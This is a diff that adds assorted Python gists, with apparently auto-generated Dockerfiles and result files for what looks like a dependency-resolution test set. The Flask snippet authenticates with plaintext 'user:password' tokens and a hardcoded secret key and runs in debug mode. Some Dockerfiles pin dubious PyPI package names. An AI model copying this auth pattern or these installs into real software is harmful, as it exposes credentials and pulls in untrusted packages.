+    먼저 실제 근값(0번)을 보면 142.73763311을 볼 수 있습니다. 
+    이것이 실제 근이고, 이 값과 1, 2에서 구한 값을 비교합니다.
+
+    1의 Root Interval을 보면, 139.08... 부터 143.14... 사이에 
+    근이 있다는 것을 알 수 있습니다.
+    증분법의 특성상 저 사이 쯤에 근이 있을 것이라는 추정 정도가 가능합니다.
+    만약 linspace의 ns 값을 늘려서 대입값을 더 촘촘하게 한다면 
+    더욱 정확한 구간 값을 도출할 수 있을 것입니다.
+
+    2의 root를 보면, 142.73765563... 이 나옵니다. 실제 근과 소숫점 뒤
+    4자리까지 일치하는 거의 정확한 값입니다.
+    근을 x라고 할 때, 근이 맞다면 f(x)는 0이 되어야 합니다. 
+    넣어보니 4.6089...e-07, 즉 0.000000460... 의 경미한 오차를 보입니다.
+    또, 계산된 오차값을 보면, 위에서 기초적으로 설정한 0.0001%보다 작은 오차로
+    21번만에 계산이 종료된 것을 알 수 있습니다.
+
+    3의 root를 보면, 142.73783844... 이 나옵니다. 실제 근과 소숫점 뒤
+    3자리까지 일치하는 것을 볼 수 있습니다.
+    그러다 보니 f(근)과 계산된 오차 또한 실제값과 거리가 조금 더 있습니다.
+    반복도 조금 더 한 것 같습니다.
+    즉, 여기서는 이분법이 가위치법보다 더 정확한 값이 나왔다는 뜻이 됩니다.
+
+    이건 원인이 있습니다.
+    가위치법은, 근과 그래프의 설정된 양 끝값을 기준으로 삼각형 2개를 그린 후
+    그 두 삼각형이 닮은꼴인가를 tan 함수와 비슷하게 판정하게 됩니다.
+    그래서, 가위치법은 "원래 함수가 어떻게 생겼느냐"에 따라서 계산 횟수가 바뀌게 됩니다.
+    하지만, 이분법은 삼각형과 상관이 없는 계산 방식을 가집니다.
+    따라서 우리가 사용한 번지 점프 공식은 가위치법보다는 이분법이 더 적합한
+    함수 모양이었다는 결론을 낼 수 있습니다.
+
+    [의견 반영: 박은환 (@dainelpark)]
+        또한, 함수의 모양을 보면 이분법과 가위치법의 소스가 매우 비슷합니다.
+        이 두 알고리즘은 구간을 판정할 때 f(왼쪽 끝값)과 f(오른쪽 끝값)의
+        곱이 음수일 때, 즉 부호가 다를 때를 기준으로 판정한다는 공통점이 있습니다.
+        구간을 얻었을 때, xr(중간값)을 구하는 방법이 각각 다르고, 이 차이가
+        이분법과 가위치법을 구분합니다.
+
+    Newton-Raphson(4번)의 경우, 미분계수를 구하는 방식을 매우 철저하게
+    구현한 알고리즘으로, 우리가 알고 있는 미분의 과정을 그대로 흉내냅니다.
+    시작값이 어디이냐에 따라서 결과가 달라지는데, 반복의 횟수가 3~7회인 것으로 보입니다.
+    같은 식을 이분법으로 계산해보면, 24번의 반복 횟수가 나옵니다.
+    이분법과 비교했을 때 매우 효율적인 계산 방법이라고 할 수 있습니다.
+
+    그러나 Newton-Raphson법에는 문제가 있는데, 미분 함수를 따로
+    구해서 넣어주고 그것을 지속적으로 계산해야 한다는 점입니다.
+    그래서 나온 방법이 Secant Method(할선법, 5번)입니다.
+    할선법은 도함수를 이용하는 대신 2개의 함숫값을 통해서 지속적으로
+    선을 그어가며 새로운 끝점을 찾아서 근에 접근하는 방식입니다.
+    이 방식을 이용하면 Newton-Raphson법과 비슷하게 계산하되
+    연산력을 낭비하지 않고, 도함수 없이도 계산할 수 있다는
+    장점이 있습니다.
+
+    실제 할선법의 계산 결과를 보면, 40에서 200의 구간을 주었습니다.
+    위의 이분법과 같은 구간을 주었는데 7번의 반복만에 계산이 끝났습니다.
+    Newton-Raphson법의 장점을 취하면서, 동시에 단점을 보완한 방법이라고 할 수 있습니다.
+"""
\ No newline at end of file
diff --git a/hard-gists/09648344984565f9477a/._snippet.py b/hard-gists/09648344984565f9477a/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/09648344984565f9477a/._snippet.py differ
diff --git a/hard-gists/09648344984565f9477a/snippet.py b/hard-gists/09648344984565f9477a/snippet.py
new file mode 100644
index 00000000..cff7c998
--- /dev/null
+++ b/hard-gists/09648344984565f9477a/snippet.py
@@ -0,0 +1,161 @@
+"""
+NMF by coordinate descent, designed for sparse data (without missing values)
+"""
+
+# Author: Mathieu Blondel <mathieu@mblondel.org>
+# License: BSD 3 clause
+
+import numpy as np
+import scipy.sparse as sp
+import numba
+
+from sklearn.base import BaseEstimator
+from sklearn.utils import check_random_state
+from sklearn.utils.extmath import safe_sparse_dot
+
+
+@numba.jit("f8(f8[:,:], f8[:,:], f8[:,:], i4, f8, f8, f8)")
+def _compute_update(H, PWW, PWV, penalty, alpha, regn, regd):
+    violation = 0
+    n_components = H.shape[0]
+
+    for i in xrange(H.shape[1]):
+        for k in xrange(n_components):
+
+            if penalty == 2:
+                regn = H[k, i] * alpha
+
+            # gradient
+            # g = GH[k, i] where GH = np.dot(PWW, H) - PWV
+            g = - PWV[k, i] + regn
+
+            for j in xrange(H.shape[0]):
+                g += PWW[k, j] * H[j, i]
+
+            # projected gradient
+            pg = min(0, g) if H[k, i] == 0 else g
+
+            # Hessian
+            h = PWW[k, k] + regd
+
+            # Update
+            H[k, i] = max(H[k, i] - g / h, 0)
+
+            violation += abs(pg)
+
+    return violation
+
+
+class CDNMF(BaseEstimator):
+    """
+    NMF by coordinate descent, designed for sparse data (without missing values)
+    """
+
+    def __init__(self, n_components=30, alpha=0.01, penalty="l2",
+                 max_iter=50, tol=0.05,
+                 init="random", random_state=None, verbose=0):
+        self.n_components = n_components
+        self.alpha = alpha
+        self.penalty = penalty
+        self.max_iter = max_iter
+        self.tol = tol
+        self.init = init
+        self.random_state = random_state
+        self.verbose = verbose
+
+    def _init(self, X, rs, transpose=False):
+        n_samples, n_features = X.shape
+
+        if self.init == "random":
+            W = rs.randn(self.n_components, n_features)
+            np.abs(W, W)
+        elif self.init == "sample":
+            ind = np.arange(n_samples)
+            rs.shuffle(ind)
+            W = X[ind[:self.n_components]]
+            if sp.issparse(W):
+                W = W.toarray()
+        comp = np.asfortranarray(W)
+
+        # H is initialized empty since it will be optimized first.
+        H = np.zeros((n_samples, self.n_components))
+        coef = np.ascontiguousarray(H)
+
+        if transpose:
+            comp = comp.T
+            coef = coef.T
+
+        return comp, coef
+
+    def _update(self, X, W, H, regn, regd, penalty):
+        PWW = np.dot(W.T, W)
+        PWV = safe_sparse_dot(W.T, X.T)
+
+        return _compute_update(H, PWW, PWV, penalty,
+                               self.alpha, regn, regd)
+
+    def _fit_transform(self, X, W, H, update_W=True):
+        penalties = {"l1": 1, "l2": 2}
+        penalty = penalties[self.penalty]
+
+        if penalty == 1:
+            regn = self.alpha
+            regd = 0
+        else:
+            regn = 0
+            regd = self.alpha
+
+        for t in xrange(self.max_iter):
+            # Update H
+            v = self._update(X, W, H, regn, regd, penalty)
+
+            # Update W
+            if update_W:
+                v += self._update(X.T, H.T, W.T, regn, regd, penalty)
+
+            if t == 0:
+                violation_init = v
+
+            if self.verbose:
+                print "violation:", v / violation_init
+
+            if v / violation_init <= self.tol:
+                if self.verbose:
+                    print "Converged at iteration", t + 1
+                break
+
+        return W, H
+
+    def fit_transform(self, X):
+        n_samples, n_features = X.shape
+        rs = check_random_state(self.random_state)
+
+        W, H = self._init(X, rs, transpose=True)
+
+        W, H = self._fit_transform(X, W, H)
+
+        self.components_ = W.T
+
+        return H.T
+
+    def fit(self, X):
+        self.fit_transform(X)
+        return self
+
+    def transform(self, X):
+        n_samples = X.shape[0]
+        H = np.zeros((self.n_components, n_samples))
+        W = self.components_.T
+        W, H = self._fit_transform(X, W, H, update_W=False)
+        return H.T
+
+
+if __name__ == '__main__':
+    from sklearn.datasets import fetch_20newsgroups_vectorized
+
+    bunch = fetch_20newsgroups_vectorized(subset="all")
+    X = bunch.data.tocsr()
+    y = bunch.target
+
+    nmf = CDNMF(init="sample", verbose=1, random_state=0)
+    nmf.fit_transform(X)
\ No newline at end of file
diff --git a/hard-gists/096f3b651b268b7af4c8c32475fa23d1/._snippet.py b/hard-gists/096f3b651b268b7af4c8c32475fa23d1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/096f3b651b268b7af4c8c32475fa23d1/._snippet.py differ
diff --git a/hard-gists/096f3b651b268b7af4c8c32475fa23d1/snippet.py b/hard-gists/096f3b651b268b7af4c8c32475fa23d1/snippet.py
new file mode 100644
index 00000000..6efb66c9
--- /dev/null
+++ b/hard-gists/096f3b651b268b7af4c8c32475fa23d1/snippet.py
@@ -0,0 +1,30 @@
+import mechanize
+import pandas as pd
+import os
+
+from bs4 import BeautifulSoup 
+from IPython.core.display import display, HTML
+
+br = mechanize.Browser()
+
+br.open("http://www.adm.uwaterloo.ca/infocour/CIR/SA/under.html")
+br.select_form(nr=0)
+br.form["subject"] = ["CS"]
+br.form["cournum"] = "230"
+br.submit()
+
+soup = BeautifulSoup(br.response().read())
+table = pd.read_html(str(soup.table.table))[0]
+
+table.columns = table.loc[0,:]
+table = table.loc[1:,:]
+table = table.set_index(["Class", "Comp Sec"])
+
+can_enroll = (table["Enrl Cap"] > table["Enrl Tot"]).any()
+
+if can_enroll:
+    os.system('say "time to enroll"')
+    print("time to enroll")
+else:
+    os.system('say "you will never graduate on time"')
+    print("you will never graduate on time")
\ No newline at end of file
diff --git a/hard-gists/097f97f4cb67c554f04dba6b5a09a506/._snippet.py b/hard-gists/097f97f4cb67c554f04dba6b5a09a506/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/097f97f4cb67c554f04dba6b5a09a506/._snippet.py differ
diff --git a/hard-gists/097f97f4cb67c554f04dba6b5a09a506/snippet.py b/hard-gists/097f97f4cb67c554f04dba6b5a09a506/snippet.py
new file mode 100644
index 00000000..2ad14e65
--- /dev/null
+++ b/hard-gists/097f97f4cb67c554f04dba6b5a09a506/snippet.py
@@ -0,0 +1,10 @@
+import objc
+from Foundation import NSBundle
+login_bundle = NSBundle.bundleWithPath_('/System/Library/PrivateFrameworks/login.framework')
+
+functions = [('SACLockScreenImmediate', '@'),]
+objc.loadBundleFunctions(login_bundle, globals(), functions)
+
+
+# Lock the screen regardless of security settings or who is logged in
+result = SACLockScreenImmediate()
\ No newline at end of file
diff --git a/hard-gists/098f399d69f230521ef530baca832e76/._snippet.py b/hard-gists/098f399d69f230521ef530baca832e76/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/098f399d69f230521ef530baca832e76/._snippet.py differ
diff --git a/hard-gists/098f399d69f230521ef530baca832e76/snippet.py b/hard-gists/098f399d69f230521ef530baca832e76/snippet.py
new file mode 100644
index 00000000..ce3dfb2c
--- /dev/null
+++ b/hard-gists/098f399d69f230521ef530baca832e76/snippet.py
@@ -0,0 +1,34 @@
+# Tested on 10.11
+
+# Note:
+# The marketing information embedded in the ServerInformation.framework is not the same as what
+# About This Mac displays - there are differences. 
+#
+# For example:
+#     ServerInformation: 15" MacBook Pro with Retina display (Mid 2015)
+#        About This Mac: MacBook Pro (Retina, 15-inch, Mid 2015)
+#
+# About This Mac will actually hit the internet API to perform the lookup,
+# and then saves it locally for future use.
+
+from Foundation import NSBundle
+import xml.etree.ElementTree as ET
+import urllib2
+
+ServerInformation   = NSBundle.bundleWithPath_('/System/Library/PrivateFrameworks/ServerInformation.framework')
+ServerCompatibility = NSBundle.bundleWithPath_('/System/Library/PrivateFrameworks/ServerCompatibility.framework')
+
+ServerInformationComputerModelInfo = ServerInformation.classNamed_('ServerInformationComputerModelInfo')
+SVCSystemInfo = ServerCompatibility.classNamed_('SVCSystemInfo')
+
+info = SVCSystemInfo.currentSystemInfo()
+extended_info = ServerInformationComputerModelInfo.attributesForModelIdentifier_(info.computerModelIdentifier())
+
+if extended_info:
+    # We don't have to hit the internet API, we have some marketing knowledge
+    marketing_name = extended_info['marketingModel']
+else:
+    # Sadly we'll have to reach out
+    API = urllib2.urlopen('http://support-sp.apple.com/sp/product?cc=' + info.serialNumber()[-4:])
+    marketing_name = ET.fromstring(API.read()).find('configCode').text
+    API.close()
\ No newline at end of file
diff --git a/hard-gists/09b1f5403c63ceab5ae34710cbe2809e/._snippet.py b/hard-gists/09b1f5403c63ceab5ae34710cbe2809e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/09b1f5403c63ceab5ae34710cbe2809e/._snippet.py differ
diff --git a/hard-gists/09b1f5403c63ceab5ae34710cbe2809e/snippet.py b/hard-gists/09b1f5403c63ceab5ae34710cbe2809e/snippet.py
new file mode 100644
index 00000000..776cba8e
--- /dev/null
+++ b/hard-gists/09b1f5403c63ceab5ae34710cbe2809e/snippet.py
@@ -0,0 +1,88 @@
+#!/usr/bin/env python
+# coding: UTF-8
+
+import cv2
+import numpy as np
+
+
+def make_lut256x16(exportPath):
+    ''' 256 x 16 LUT '''
+    colors = []
+    for y in range(0, 16):
+        rows = []
+        for x in range(0, 256):
+            rows.append([
+                (x / 16) * 16,  # blue
+                y * 16,  # green
+                (x % 16) * 16  # red
+            ])
+        colors.append(rows)
+
+    image = np.array(colors)
+    if exportPath:
+        cv2.imwrite(exportPath, image)
+    return image
+
+
+def make_lut1024x32(exportPath):
+    ''' 1024 x 32 LUT '''
+    colors = []
+    for y in range(0, 32):
+        rows = []
+        for x in range(0, 1024):
+            rows.append([
+                (x / 32) * 8,  # blue
+                y * 8,  # green
+                (x % 32) * 8  # red
+            ])
+        colors.append(rows)
+
+    image = np.array(colors)
+    if exportPath:
+        cv2.imwrite(exportPath, image)
+    return image
+
+
+def make_lut512x512(exportPath):
+    ''' 512 x 512 Basic LUT '''
+    colors = []
+    for y in range(0, 512):
+        rows = []
+        for x in range(0, 512):
+            i = (x % 64, y % 64)
+            rows.append([  # BGR
+                (y / 2 + x / 16),  # blue
+                i[1] * 4,  # green
+                i[0] * 4  # red
+            ])
+        colors.append(rows)
+
+    image = np.array(colors)
+    if exportPath:
+        cv2.imwrite(exportPath, image)
+    return image
+
+
+if __name__ == '__main__':
+    import argparse
+    import sys
+    parser = argparse.ArgumentParser(description='LUT Texture maker')
+    parser.add_argument('path',
+                        type=str,
+                        nargs='?',
+                        default='lut.png',
+                        help='output filename')
+    parser.add_argument('-s', '--size',
+                        type=str,
+                        nargs='?',
+                        default='512x512',
+                        help='256x16 or 1024x32 or 512x512')
+    args = parser.parse_args()
+    if args.size == '512x512':
+        make_lut512x512(args.path)
+    elif args.size == '256x16':
+        make_lut256x16(args.path)
+    elif args.size == '1024x32':
+        make_lut1024x32(args.path)
+    else:
+        sys.exit('Unsupported size')
diff --git a/hard-gists/09cae53bf67ea8a39700/._snippet.py b/hard-gists/09cae53bf67ea8a39700/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/09cae53bf67ea8a39700/._snippet.py differ
diff --git a/hard-gists/09cae53bf67ea8a39700/snippet.py b/hard-gists/09cae53bf67ea8a39700/snippet.py
new file mode 100644
index 00000000..e638de1e
--- /dev/null
+++ b/hard-gists/09cae53bf67ea8a39700/snippet.py
@@ -0,0 +1,74 @@
+"""
+Download wallpapers from the FACETS website.
+"""
+
+import urllib.request
+from urllib.error import HTTPError, URLError
+from bs4 import BeautifulSoup
+
+"""
+Grab all images from the front page, and save them to a folder.
+"""
+def save_all_images(url, folder):
+    html = get_response(url).decode("utf-8")
+    image_links = get_images_links_from_html(html)
+    for link in image_links:
+        image = get_image_with_name(link)
+        save_image(folder, image)
+
+"""
+Grab the image and image name given a URL.
+"""
+def get_image_with_name(url):
+    html = get_response(url).decode("utf-8")
+    soup = BeautifulSoup(html, "lxml")
+    image_num = soup.select("#content .size13 strong")[0].contents[0]
+    print(image_num)
+    image_src = soup.select("#facet-image img")[0]["src"]
+    image = get_response(image_src)
+    return (image_src, image)
+
+"""
+Make an HTTP request to the following URL, and return the response.
+"""
+def get_response(url):
+    try:
+        http_request = urllib.request.urlopen(url)
+        response_body = http_request.read()
+        return response_body
+    except HTTPError:
+        return None
+    except URLError as error:
+        print(error.message)
+        exit(1)
+
+"""
+Grab the image (a) links given the HTML source.
+"""
+def get_images_links_from_html(html):
+    soup = BeautifulSoup(html, "lxml")
+    image_links = [image_a["href"] for image_a in soup.select("div.thumb-image a")]
+    return image_links
+
+"""
+Save the image to a given folder.
+"""
+def save_image(folder, image):
+    if not image:
+        return
+
+    image_src = image[0]
+    image_name = image_src[(image_src.rfind("/") + 1):]
+    file_name = folder + image_name
+    try:
+        file = open(file_name, 'xb') # wb for overwriting
+        file.write(image[1])
+        file.close()
+    except FileExistsError:
+        return
+
+# Client code
+BASE_WALLPAPER_URL = "http://www.facets.la/wallpapers/"
+WALLPAPER_FOLDER = "YOUR/FOLDER/HERE"
+
+save_all_images(BASE_WALLPAPER_URL, WALLPAPER_FOLDER)
diff --git a/hard-gists/09f5ab44486b1fc6df7bf20ce57159f1/._snippet.py b/hard-gists/09f5ab44486b1fc6df7bf20ce57159f1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/09f5ab44486b1fc6df7bf20ce57159f1/._snippet.py differ
diff --git a/hard-gists/09f5ab44486b1fc6df7bf20ce57159f1/snippet.py b/hard-gists/09f5ab44486b1fc6df7bf20ce57159f1/snippet.py
new file mode 100644
index 00000000..60c8d775
--- /dev/null
+++ b/hard-gists/09f5ab44486b1fc6df7bf20ce57159f1/snippet.py
@@ -0,0 +1,85 @@
+#Created by Donald K. Brown III
+#Copyright 2017
+#To be used with Pillow library in Python 3.5+
+#Based on the 'Year in Pixels' project at http://bulletjournaling101.tumblr.com/post/149151517798/a-year-in-pixels
+
+import datetime
+from PIL import Image, ImageDraw
+
+c = datetime.datetime.now()
+yy = c.year
+
+try:
+    img = Image.open('yearincolor{}.png'.format(yy))
+except FileNotFoundError:
+    img = Image.new('RGB',(400,400,))
+
+mm = c.month
+dd = c.day
+j1 = datetime.date(yy, 1, 1)
+td = datetime.date(yy, mm, dd)
+p = (td-j1).days
+daystable = []
+for i in range(0,20):
+    a = i*20
+    b = a+20
+    daystable.append(list(range(a,b)))
+for i in range(0,20):
+    if p in daystable[i]:
+        row = i
+        break
+startx = 20*daystable[row].index(p)
+endx = startx+19
+starty = 20*row
+endy = starty+19
+
+while True:
+    while True:
+        try:
+            happy = int(input("What percent of your day was good? "))
+            if not 0 <= happy <= 100:
+                print("Please input an integer between 0 and 100.")
+                continue
+            else:
+                break
+        except ValueError:
+            print("Please input an integer between 0 and 100.")
+            continue
+    while True:
+        try:
+            sad = int(input("What percent of your day was bad? "))
+            if not 0 <= sad <= 100:
+                print("Please input an integer between 0 and 100")
+                continue
+            else:
+                break
+        except ValueError:
+            print("Please input an integer between 0 and 100.")
+            continue
+    while True:
+        try:
+            blargh = int(input("What percent of your day was neither good nor bad? "))
+            if not 0 <= blargh <= 100:
+                print("Please input an integer between 0 and 100.")
+                continue
+            else:
+                break
+        except ValueError:
+            print("Please input an integer between 0 and 100.")
+            continue
+    if not happy+sad+blargh == 100:
+        print("Your numbers don't quite add up to 100%. Let's try this again.")
+        continue
+    else:
+        break
+
+red = int(255*(blargh/100))
+blue = int(255*(sad/100))
+green = int(255*(happy/100))
+
+draw=ImageDraw.Draw(img)
+draw.rectangle([startx,starty,endx,endy],fill=(red,green,blue))
+img.save("yearincolor{}.png".format(yy))
+
+print("Success! We've updated your image! Come back tomorrow for more!")
+exit(0)
\ No newline at end of file
diff --git a/hard-gists/0a2ac74d800a2eff9540/._snippet.py b/hard-gists/0a2ac74d800a2eff9540/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0a2ac74d800a2eff9540/._snippet.py differ
diff --git a/hard-gists/0a2ac74d800a2eff9540/Dockerfile-llm-2.7 b/hard-gists/0a2ac74d800a2eff9540/Dockerfile-llm-2.7
new file mode 100644
index 00000000..4dd110be
--- /dev/null
+++ b/hard-gists/0a2ac74d800a2eff9540/Dockerfile-llm-2.7
@@ -0,0 +1,13 @@
+# FROM is the found expected Python version
+FROM python:2.7
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","appindicator==2.0.10"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","gtk==3.24.29"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","urllib2==4.0"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/0a2ac74d800a2eff9540/Dockerfile-llm-3.8 b/hard-gists/0a2ac74d800a2eff9540/Dockerfile-llm-3.8
new file mode 100644
index 00000000..e21d6828
--- /dev/null
+++ b/hard-gists/0a2ac74d800a2eff9540/Dockerfile-llm-3.8
@@ -0,0 +1,13 @@
+# FROM is the found expected Python version
+FROM python:3.8
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","appindicator==1.0.0"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","gtk==1.0.0"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","urllib2==1.25"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/0a2ac74d800a2eff9540/modules/app_2.7.txt b/hard-gists/0a2ac74d800a2eff9540/modules/app_2.7.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/0a2ac74d800a2eff9540/modules/appindicator_2.7.txt b/hard-gists/0a2ac74d800a2eff9540/modules/appindicator_2.7.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/0a2ac74d800a2eff9540/modules/appindicator_3.8.txt b/hard-gists/0a2ac74d800a2eff9540/modules/appindicator_3.8.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/0a2ac74d800a2eff9540/modules/gtk_2.7.txt b/hard-gists/0a2ac74d800a2eff9540/modules/gtk_2.7.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/0a2ac74d800a2eff9540/modules/gtk_3.8.txt b/hard-gists/0a2ac74d800a2eff9540/modules/gtk_3.8.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/0a2ac74d800a2eff9540/modules/urllib2_2.7.txt b/hard-gists/0a2ac74d800a2eff9540/modules/urllib2_2.7.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/0a2ac74d800a2eff9540/modules/urllib2_3.8.txt b/hard-gists/0a2ac74d800a2eff9540/modules/urllib2_3.8.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/0a2ac74d800a2eff9540/output_data_2.7.yml b/hard-gists/0a2ac74d800a2eff9540/output_data_2.7.yml
new file mode 100644
index 00000000..3e9c5f70
--- /dev/null
+++ b/hard-gists/0a2ac74d800a2eff9540/output_data_2.7.yml
@@ -0,0 +1,8 @@
+---
+python_version: 2.7
+start_time: 1773782985.4701717
+iterations:
+---
+python_version: 2.7
+start_time: 1774899562.0551274
+iterations:
diff --git a/hard-gists/0a2ac74d800a2eff9540/snippet.py b/hard-gists/0a2ac74d800a2eff9540/snippet.py
new file mode 100644
index 00000000..200225fa
--- /dev/null
+++ b/hard-gists/0a2ac74d800a2eff9540/snippet.py
@@ -0,0 +1,42 @@
+#!/usr/bin/env python2
+
+import appindicator
+import gtk
+import urllib2
+
+
+class IPIndicator(appindicator.Indicator):
+    """
+    An indicator displaying public IP address.
+    """
+    
+    def __init__(self):
+        super(IPIndicator, self).__init__(
+            "ip-indicator",
+            "applications-internet",
+            appindicator.CATEGORY_APPLICATION_STATUS
+        )
+        # Create the quit menu item
+        menu, quit = gtk.Menu(), gtk.MenuItem('Quit')
+        quit.connect('activate', gtk.main_quit)
+        quit.show()
+        menu.append(quit)
+        self.set_menu(menu)
+        self.set_status(appindicator.STATUS_ACTIVE)
+    
+    def run(self):
+        self._refresh()
+        gtk.timeout_add(600, self._refresh)
+        gtk.main()
+    
+    def _refresh(self):
+        self.set_label("[Refreshing...]")
+        try:
+            ip = '[%s]' % urllib2.urlopen('http://icanhazip.com').read().strip()
+        except:
+            ip = '[Error]'
+        self.set_label(ip)
+
+
+if __name__ == '__main__':
+    IPIndicator().run()
\ No newline at end of file
diff --git a/hard-gists/0a509faf231cff3cdec7/._snippet.py b/hard-gists/0a509faf231cff3cdec7/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0a509faf231cff3cdec7/._snippet.py differ
diff --git a/hard-gists/0a509faf231cff3cdec7/snippet.py b/hard-gists/0a509faf231cff3cdec7/snippet.py
new file mode 100644
index 00000000..746d3891
--- /dev/null
+++ b/hard-gists/0a509faf231cff3cdec7/snippet.py
@@ -0,0 +1,56 @@
+# Author: Gouthaman Balaraman
+# http://gouthamanbalaraman.com/minimal-flask-login-example.html
+
+from flask import Flask, Response
+from flask.ext.login import LoginManager, UserMixin, login_required
+
+
+app = Flask(__name__)
+login_manager = LoginManager()
+login_manager.init_app(app)
+
+
+class User(UserMixin):
+    # proxy for a database of users
+    user_database = {"JohnDoe": ("JohnDoe", "John"),
+               "JaneDoe": ("JaneDoe", "Jane")}
+
+    def __init__(self, username, password):
+        self.id = username
+        self.password = password
+
+    @classmethod
+    def get(cls,id):
+        return cls.user_database.get(id)
+
+
+@login_manager.request_loader
+def load_user(request):
+    token = request.headers.get('Authorization')
+    if token is None:
+        token = request.args.get('token')
+
+    if token is not None:
+        username,password = token.split(":") # naive token
+        user_entry = User.get(username)
+        if (user_entry is not None):
+            user = User(user_entry[0],user_entry[1])
+            if (user.password == password):
+                return user
+    return None
+
+
+@app.route("/",methods=["GET"])
+def index():
+    return Response(response="Hello World!",status=200)
+
+
+@app.route("/protected/",methods=["GET"])
+@login_required
+def protected():
+    return Response(response="Hello Protected World!", status=200)
+
+
+if __name__ == '__main__':
+    app.config["SECRET_KEY"] = "ITSASECRET"
+    app.run(port=5000,debug=True)
\ No newline at end of file
diff --git a/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/._snippet.py b/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/._snippet.py differ
diff --git a/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/Dockerfile-llm-2.7 b/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/Dockerfile-llm-2.7
new file mode 100644
index 00000000..7f869611
--- /dev/null
+++ b/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/Dockerfile-llm-2.7
@@ -0,0 +1,12 @@
+# FROM is the found expected Python version
+FROM python:2.7
+# Set the working directory to /app
+WORKDIR /app
+# Add install commands for all of the python modules
+RUN ["pip","install","--upgrade","pip"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","plist==3.1"]
+RUN ["pip","install","--trusted-host","pypi.python.org","--default-timeout=100","cstringio==3.4"]
+# Copy the specified directory to /app
+COPY snippet.py /app
+# Run the specified python file
+CMD ["python", "/app/snippet.py"]
\ No newline at end of file
diff --git a/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/modules/cstringio_2.7.txt b/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/modules/cstringio_2.7.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/modules/plist_2.7.txt b/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/modules/plist_2.7.txt
new file mode 100644
index 00000000..e69de29b
diff --git a/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/snippet.py b/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/snippet.py
new file mode 100644
index 00000000..2890d41b
--- /dev/null
+++ b/hard-gists/0aaa9e4659977a98fc9f36d6887fef37/snippet.py
@@ -0,0 +1,99 @@
+#!/usr/bin/env python
+#
+# extracts and parse BackupKeyBag
+#
+# 2017.02.04 darell tan
+#
+
+from plist import *
+import struct
+import sys
+from binascii import hexlify
+from collections import OrderedDict
+
+try:
+	from cStringIO import StringIO
+except:
+	from StringIO import StringIO
+
+
+def getKeybagFile(manifest_file):
+	"""
+	Retrieves the BackupKeyBag embedded within the Manifest.plist.
+	"""
+	with open(manifest_file, 'rb') as f:
+		data = f.read()
+		pl = Structure.from_bin(data) if data.startswith('bplist') \
+			 else Structure.from_xml(data)
+
+		assert 'Version' in pl
+
+		return StringIO(pl['BackupKeyBag'].get_value())
+
+
+class Keybag:
+	def __init__(self, f):
+		self.hdr = OrderedDict()
+		self.keys = []
+
+		self.f = f if hasattr(f, 'read') else open(f, 'rb')
+
+		self._parse()
+
+	def _parse(self):
+		keys = []
+		currKey = OrderedDict()
+		while True:
+			hdr = self.f.read(4+4)
+			if hdr == '':
+				break
+			typ, sz = struct.unpack('>4sI', hdr)
+			data = self.f.read(sz)
+			if sz == 4:
+				data, = struct.unpack('>I', data)
+
+			# UUID usually first item of each entry
+			if typ == 'UUID':
+				if 'UUID' in currKey:
+					keys.append(currKey)
+				else:
+					self.hdr = currKey
+				currKey = OrderedDict()
+
+			currKey[typ] = data
+
+		if currKey:
+			keys.append(currKey)
+
+		self.keys = keys
+
+	def dump(self):
+		for k, v in self.hdr.iteritems():
+			print k, v
+
+		print '-' * 10
+
+		def decode(typ, val):
+			if typ == 'UUID':
+				v = hexlify(val)
+				return '%s...%s' % (v[:6], v[-4:])
+			elif not isinstance(val, (int, long)):
+				return hexlify(val)
+			else:
+				return repr(val)
+
+		for key in self.keys:
+			print ', '.join('%s: %s' % (k, decode(k, v)) \
